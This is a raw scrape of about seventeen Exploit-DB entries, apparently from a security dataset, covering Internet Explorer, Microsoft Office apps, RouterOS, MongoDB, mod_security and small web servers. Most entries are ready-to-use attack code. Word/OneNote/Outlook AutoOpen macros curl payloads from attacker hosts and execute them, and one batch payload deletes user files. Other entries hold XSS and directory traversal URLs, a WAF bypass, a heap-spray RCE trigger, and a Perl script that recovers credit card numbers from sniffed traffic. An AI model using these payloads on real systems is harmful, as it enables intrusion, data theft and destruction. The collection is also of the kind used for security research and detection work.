deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19686
Description: Microsoft Internet Explorer 4/5/5.5/5.0.1 - external.NavigateAndFind() Cross-Frame
Type: remote
Platform: multiple
Date: 1999-12-22
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 4.0 for WfW/Windows 3.1/Windows 95/Windows NT 3/Windows NT 4,Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.5,Internet Explorer 5.0.1,Internet Explorer for Unix 5.0 external.NavigateAndFind() Cross-Frame Vulnerability

source: https://www.securityfocus.com/bid/887/info


Using the window.external.NavigateAndFind() function it is possible for a remote server to execute arbitrary javascript code on an Internet Explorer client machine in the local security context.

This function is used to load a web document and search it for specific strings, displaying the results in a secondary frame. However, the function will accept URLs of the form "javascript:", and should such a URL to passed to the function, the javascript is executed in the security context of the content of the secondary frame, and has access to that frame's current content.

This weakness could be used to retrieve pwl files, the local SAM database, cookies or any other locally stored information that the user has read access to. The attack could be made via the web, or in an HTML email or newsgroup posting.

<IFRAME NAME="I1" SRC="file://c:/test.txt"></IFRAME>
<SCRIPT>
function f()
{
window.external.NavigateAndFind("javascript:alert(document.body.innerText);","ll","I1");
}
setTimeout("f()",2000);
</SCRIPT>
Exploit-DB #19492
Description: Microsoft Internet Explorer 5 / Netscape Communicator 4.0/4.5/4.6 - JavaScript STYLE
Type: remote
Platform: multiple
Date: 1999-09-13
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Netscape Communicator 4.0/4.5/4.6 Javascript STYLE Vulnerability

source: https://www.securityfocus.com/bid/630/info

The HTML STYLE command can be used to embed Javascript into Hotmail email messages. The STYLE tag circumvents current methods employed by Hotmail to disable Javascript from email messages. When viewed by a Microsoft IE 5.0 or Netscape Navigator 4.X browser, the Javascript in the email may execute various commands on the viewer's mailbox. The commands could take various actions on the user's inbox, including: reading email, deleting email, or prompting users to re-enter their password in a trojan application.


The code that must be embeded in a HTML email message is:
For IE 5.0:

&lt;P STYLE="left:expression(eval('alert(\'JavaScript is
executed\');window.close()'))" &gt;

For Netscape Communicator:

&lt;STYLE TYPE="text/javascript"&gt;
alert('JavaScript is executed');
a=window.open(document.links[2]);
setTimeout('alert(\'The first message in your Inbox is from:
\'+a.document.links[26].text)',20000);
&lt;/STYLE&gt;
Exploit-DB #51609
Description: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
Type: remote
Platform: multiple
Date: 2023-07-20
Author: nu11secur1ty

Exploit:
## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Author: nu11secur1ty
## Date: 07.18.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148


## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to
Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious
WORD file in the Outlook app which is a part of Microsoft Office 365
and easily can trick the victim to click on it - opening it and
executing a very dangerous shell command, in the background of the
local PC. This execution is without downloading this malicious file,
and this is a potential problem and a very dangerous case! This can be
the end of the victim's PC, it depends on the scenario.

## Staus: HIGH Vulnerability

[+]Exploit:

- Exploit Server:

```vb
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat
&& .\salaries.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)

## Time spend:
00:35:00
Exploit-DB #51538
Description: Microsoft OneNote (Version 2305 Build 16.0.16501.20074) 64-bit - Spoofing
Type: remote
Platform: multiple
Date: 2023-06-22
Author: nu11secur1ty

Exploit:
## Title: Microsoft OneNote (Version 2305 Build 16.0.16501.20074) 64-bit - Spoofing
## Author: nu11secur1ty
## Date: 06.22.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en/microsoft-365/onenote/digital-note-taking-app
## Reference: https://portswigger.net/kb/issues/00400c00_input-returned-in-response-reflected

## Description:
Microsoft OneNote is vulnerable to spoofing attacks. The malicious
user can trick the victim into clicking on a very maliciously crafted
URL or download some other malicious file and execute it. When this
happens the game will be over for the victim and his computer will be
compromised.
Exploiting the vulnerability requires that a user open a specially
crafted file with an affected version of Microsoft OneNote and then
click on a specially crafted URL to be compromised by the attacker.

STATUS: HIGH Vulnerability

[+]Exploit:
```vbs
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/kurec.badass > kurec.badass && .\kurec.badass",
vbNormalFocus)
End Sub

```
[+]Inside-exploit
```
@echo off
del /s /q C:%HOMEPATH%\IMPORTANT\*
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-33140)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/06/cve-2023-33140.html)

## Time spend:
01:15:00


--
Exploit-DB #51574
Description: Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution
Type: remote
Platform: multiple
Date: 2023-07-07
Author: nu11secur1ty

Exploit:
## Title: Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution
## Author: nu11secur1ty
## Date: 07.07.2023
## Vendor: https://www.microsoft.com/
## Software: https://outlook.live.com/owa/
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-33131


## Description:
In this vulnerability, the Microsoft Outlook app allows an attacker to
send an infected Word file with malicious content
to everyone who using the Outlook app, no matter web or local.
Microsoft still doesn't have a patch against this 0-day vulnerability today.

## Staus: HIGH Vulnerability

[+]Exploit:

- The malicious Word file:

```js
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat >
nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html)

## Time spend:
00:30:00
Exploit-DB #19451
Description: Microsoft Windows 98a/98b/98SE / Solaris 2.6 - IRDP
Type: remote
Platform: multiple
Date: 1999-08-11
Author: L0pth

Exploit:
source: https://www.securityfocus.com/bid/578/info

[This discussion is verbatim from the LHI Advisory referenced in the "Reference Section" of this vulnerability entry with very few changes]

The ICMP Router Discovery Protocol (IRDP) comes enabled by default on DHCP clients that are running Microsoft Windows95 (w/winsock2), Windows95b, Windows98, Windows98se, and Windows2000 machines. By spoofing IRDP Router Advertisements, an attacker can remotely add default route entries on a remote system. The default route entry added by the attacker will be preferred over the default route obtained from the DHCP server. This results in higher susceptibility to denial of service, passive snooping and man in the middle attacks. While Windows 2000 does indeed have IRDP enabled by default, it is less vulnerable as it is impossible to give it a route that is preferred over the default route obtained via DHCP.

SunOS systems will also intentionally use IRDP under specific conditions. For Solaris2.6, the IRDP daemon, in.rdisc, will be started if the following conditions are met:

The system is a host, not a router.
The system did not learn a default gateway from a DHCP server.
The system does not have any static routes.
The system does not have a valid /etc/defaultrouter file. 

L0pht (LHI) has made available Proof-of-Concept code that will let individuals test their systems & firewalls.

Usage is as follows:

Usage: rdp -v -l -s -d <delay> -p <pref> -t <lifetime> -i <dev>
-S <src> -D <dst> -R <rtr> -r <optional 2nd rtr>

-v verbose
-l listen mode
-s send mode
-d <delay time between sending packets>
-n <number of rdp packets to send>
-I <ID value to place in IP packet>
-p <preference level>
-t <lifetime>
-i <interface to use for sniffing>
-S <source address to put in outgoing rdp packet>
-D <destination address to put in outgoing rdp packet>
-R <router address to advertise in rdp packet>
-r <optional 2nd router address to advertise in rdp packet>


Misc software notes:

Listen Mode: Software listens for ICMP Router Solicitations. If the '-s' flag is specified as well, the software will answer the Solicitations with ICMP Router Advertisements.

Preference: If the preference is not specified, it will use a default of 1000, which will give the default route a metric of 0 on affected Windows systems.

2nd Router Addr: By using the '-r' flag and specifying a second router address entry, the packet can contain a bogus source address and still be processed for correct gateway entries by the end host. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19451.tar.gz
Exploit-DB #51376
Description: Microsoft Word 16.72.23040900 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2023-04-20
Author: nu11secur1ty

Exploit:
## Exploit Title: Microsoft Word 16.72.23040900 - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 04.14.2023
## Vendor: https://www.microsoft.com/
## Software:
https://www.microsoft.com/en-us/microsoft-365/word?activetab=tabs%3afaqheaderregion3
## Reference:
https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-ID: CVE-2023-28311

## Description:
The attack itself is carried out locally by a user with authentication to
the targeted system. An attacker could exploit the vulnerability by
convincing a victim, through social engineering, to download and open a
specially crafted file from a website which could lead to a local attack on
the victim's computer. The attacker can trick the victim to open a
malicious web page by using a `Word` malicious file and he can steal
credentials, bank accounts information, sniffing and tracking all the
traffic of the victim without stopping - it depends on the scenario and etc.

STATUS: HIGH Vulnerability

[+]Exploit:
The exploit server must be BROADCASTING at the moment when the victim hit
the button of the exploit!

```vbs
  Call Shell("cmd.exe /S /c" & "curl -s
http://tarator.com/ChushkI/ebanie.tarator | tarator", vbNormalFocus)
```

## Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28311)

## Reference:
[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28311)

[href](
https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/)

## Proof and Exploit
[href](https://streamable.com/s60x3k)

## Time spend:
01:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #20425
Description: Microsys CyberPatrol 4.0 4.003/4.0 4.005 - Insecure Registration
Type: remote
Platform: multiple
Date: 2000-11-22
Author: Joey Maier

Exploit:
source: https://www.securityfocus.com/bid/1977/info

CyberPatrol is popular web access restriction software by Microsys.

A vulnerability exists in the way CyberPatrol submits registration information from its client software to Microsys' backend (cybercentral.microsys.com) that could allow a remote attacker to gather confidential information including credit card details.

The client software claims that all information including credit card details are "scrambled" before being sent to Microsys' backend. Installation of a sniffer has shown that all information with the exception of the credit card number is actually sent in clear text to Microsys. A remote attacker could place a sniffer upstream from the sending client and gather confidential registration information in addition to the credit card number which is only protected by a substitution cypher (please see the original bugtraq message in the reference section for details on the cypher). Additionally, this information could be obtained by examining the log files of a proxy firewall. 

#!/usr/bin/perl

$showline=0;
open(SNORT, "log");
LINE:while($line=<SNORT>){
@field=split /\s/, $line;
if($#field>0 && $#field<15){next LINE;}
if(!($line=~/\w/)){
$registerinfo=~s/\%20/ /g;
$registerinfo=~s/\%40/@/g;
($junk, $registerinfo)=split /\.\.\.\./, $registerinfo;
@array=split /\&/, $registerinfo;
if($array[0]=~/EMAIL/){print "$array[0]\n";}

if($array[1]=~/CARD/){print "CARD=";}
@chararray=split //, $array[1];
$arraylength=$#chararray;
for($i=0; $i<$arraylength+1; ++$i){
if($chararray[$i]=~/\%/){
$checkchar="$chararray[$i]";
$checkchar.="$chararray[$i+1]";
$checkchar.="$chararray[$i+2]";
$i=$i+2;
}
else{$checkchar="$chararray[$i]";}

if($checkchar=~/z/){print "0";}
elsif($checkchar=~/{/){print "1";}
elsif($checkchar=~/x/){print "2";}
elsif($checkchar=~/y/){print "3";}
elsif($checkchar=~/\%7E/){print "4";}
elsif($checkchar=~/\./){print "5";}
elsif($checkchar=~/\|/){print "6";}
elsif($checkchar=~/\}/){print "7";}
elsif($checkchar=~/r/){print "8";}
elsif($checkchar=~/s/){print "9";}


}

if($array[2]=~/EXP/){print "\n$array[2]\n";}
if($array[3]=~/NAME/){print "$array[3]\n";}
if($array[4]=~/ADDR1/){print "$array[4]\n";}
if($array[5]=~/ADDR2/){print "$array[5]\n";}
if($array[6]=~/CITY/){print "$array[6]\n";}
if($array[7]=~/PHONE/){print "$array[7]\n\n\n";}

$registerinfo="";
$showline=0;
}
if($line=~/POST/){$showline=1}
if($showline eq 1){
($junk, $line)=split / /, $line;
chomp($line);
$registerinfo.=$line;
}
}
Exploit-DB #52366
Description: MikroTik RouterOS 7.19.1 - Reflected XSS
Type: remote
Platform: multiple
Date: 2025-07-16
Author: Prak Sokchea

Exploit:
# Exploit Title: MikroTik RouterOS 7.19.1 - Reflected XSS
# Google Dork: inurl:/login?dst=
# Date: 2025-07-15
# Exploit Author: Prak Sokchea
# Vendor Homepage: https://mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: RouterOS <= 7.19.1
# Tested on: MikroTik CHR 7.19.1
# CVE : CVE-2025-6563

# PoC:
# Visit the following URL while connected to the vulnerable MikroTik hotspot service:
# http://<target-ip>/login?dst=javascript:alert(3)

# A reflected XSS will be triggered when the dst parameter is not properly sanitized by the server-side logic.
# This vulnerability requires user interaction (visiting the link) and may be used in phishing or redirection attacks.

# Notes:
# This is a non-persistent reflected XSS. It is accepted due to the presence of a valid CVE (CVE-2025-6563),
# and has been acknowledged by MikroTik as a valid issue.
Exploit-DB #3708
Description: MiniWebsvr 0.0.7 - Remote Directory Traversal
Type: remote
Platform: multiple
Date: 2007-04-11
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------
<b>MiniWebsvr 0.0.7 Directory transversal vulnerability</b>
url: http://miniwebsvr.sourceforge.net/
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

http://localhost/%5C..%5C..%5C..%5C..%5C..%5C../boot.ini or
http://localhost/%5C..%5C..%5C..%5C..%5C..%5C../
-------------------------------------------------------------

Host			Port
<input type=text name=txtIP value = "localhost">	<input type=text name=txtPort value = "8080">

<input language=VBScript onclick=GetBoot() type=button value="Click to get boot.ini">

<input language=VBScript onclick=BrowseMe() type=button value="Click to browse">

<script language='vbscript'>
Sub GetBoot
  on error resume next
  document.location = "http://" + txtIP.value + ":" + txtPort.value + "/%5C..%5C..%5C..%5C..%5C..%5C../boot.ini"
end sub

Sub BrowseMe
  on error resume next
  document.location = "http://" + txtIP.value + ":" + txtPort.value + "/%5C..%5C..%5C..%5C..%5C..%5C../"
end sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-04-11]
Exploit-DB #33500
Description: mini_httpd 1.18 - HTTP Request Escape Sequence Terminal Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37714/info
 
Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.
 
Attackers can exploit this issue to execute arbitrary commands in a terminal.
 
This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload
Exploit-DB #23320
Description: MLdonkey 2.5-4 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-10-31
Author: Chris Sharp

Exploit:
source: https://www.securityfocus.com/bid/8946/info

It has been reported that the Mldonkey web interface is prone to cross-site scripting attacks when reporting errors. The problem occurs due to insufficient sanitization of script code within requests. This could potentially allow an attacker to carry out a variety of attacks on a user.

http://127.0.0.1:4080/<script>...</script>
Exploit-DB #8097
Description: MLdonkey 2.9.7 - Arbitrary File Disclosure
Type: remote
Platform: multiple
Date: 2009-02-23
Author: Michael Peselnik

Exploit:
MLdonkey (up to 2.9.7) has  a  vulnerability  that allows remote user to access any
file   with   rights   of  running  Mldonkey  daemon  by  supplying  a
special-crafted  request  (ok,  there's  not much special about double
slash) to an Mldonkey http GUI (tcp/4080 usually).

Reference:
https://savannah.nongnu.org/bugs/?25667

Thus, the exploit would be as simple as accessing any file on a remote
host with your browser and double slash:

http://mlhost:4080//etc/passwd

# milw0rm.com [2009-02-23]
Exploit-DB #3425
Description: mod_security 2.1.0 - ASCIIZ byte POST Rules Bypass
Type: remote
Platform: multiple
Date: 2007-03-07
Author: Stefan Esser

Exploit:
mod_security <= 2.1.0 (ASCIIZ byte) POST Rules Bypass Vulnerability 
http://www.php-security.org/MOPB/BONUS-12-2007.html 

Affected is mod_security <= 2.1.0 Detailed information 

Detailed information

When mod_security receives a request it parses it into web application 
parameters in a way it believes is correct. Because the way it parses 
the incoming data follows the rules defined in RFCs and not the reality 
of how the HTTP request parsers are implemented in Perl, Python, Java, 
PHP there are a number of bypass vulnerabilities when the RFC and 
reality mismatch. 

One of the these differences is the way ASCIIZ bytes are handled when 
they occur in POST data of the application/x-www-form-urlencoded 
content-type. Because mod_security handles POST data of this kind as a C 
string it does not touch anything behind the first ASCIIZ byte because 
in the eyes of mod_security this is the end of the data. 

Unfortunately for mod_security this is not how the HTTP parsers of the 
different script languages handle this situation. Most script languages 
(Perl, Python, ...) just ignore the ASCIIZ byte and parse the data as if 
it is legal. Since PHP 5.2.0 this also applies to PHP. Proof of concept, 
exploit or instructions to reproduce 

<?php if (isset($_POST['var']) echo($_POST['var']); ?> 

Now call it with a command like 

$ echo -e "&var=<script>alert(/xss/);</script>" > postdata 
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent 
<script>alert(/xss/);</script> 

The example should not be blocked (because this is the default 
configuration) but in your error.log you will find a line saying that a 
possible XSS attack was detected. 

Now try the same with a ASCIIZ byte embedded. 

$ echo -e "\000&var=<script>alert(/xss/);</script>" > postdata 
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent 
<script>alert(/xss/);</script> 

This time there should be no log message in your error.log, because 
mod_security cannot see the var parameter behind the ASCIIZ byte.

# milw0rm.com [2007-03-07]
Exploit-DB #38669
Description: MongoDB - 'conn' Mongo Object Remote Code Execution
Type: remote
Platform: multiple
Date: 2013-06-04
Author: SCRT Security

Exploit:
source: https://www.securityfocus.com/bid/61309/info

MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.

MongoDB 2.4.4 is vulnerable; other versions may also be affected.

use databaseMapped

sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }

db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
Exploit-DB #33616
Description: Mongoose 2.8 - Space String Remote File Disclosure
Type: remote
Platform: multiple
Date: 2010-02-08
Author: Pouya Daneshmand

Exploit:
source: https://www.securityfocus.com/bid/38145/info

Mongoose is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view the source code of files in the context of the server process, which may aid in further attacks.

This issue affects Mongoose 2.8; other versions may be vulnerable as well. 

The following example URI is available:

http://www.example.com/file.php%20%20%20
Exploit-DB #38587
Description: Monkey HTTP Daemon Mandril Security Plugin - Security Bypass
Type: remote
Platform: multiple
Date: 2013-06-14
Author: felipensp

Exploit:
source: https://www.securityfocus.com/bid/60569/info

The Mandril Security plugin for Monkey HTTP Daemon is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions, which may aid in launching further attacks 

http://www.example.com/%2ftest/